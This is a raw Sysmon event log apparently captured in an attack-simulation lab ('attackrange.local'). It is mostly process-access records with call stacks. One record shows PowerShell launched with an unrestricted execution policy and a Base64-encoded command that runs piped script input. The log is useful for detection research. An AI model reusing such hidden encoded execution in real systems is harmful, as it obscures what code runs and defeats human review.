09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-AA00-000000007F01}4728C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-2905-5F80-A900-000000007F01}47085020C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2905-5F80-AA00-000000007F01}4728C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000003356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.276{A5F018FF-2905-5F80-AA00-000000007F01}4728C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.256{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.256{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.256{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.209{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.209{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.178{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_sdjlt2jr.gjx.ps12020-10-09 09:10:29.178 10341000x80000000000000003349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.162{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.146{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 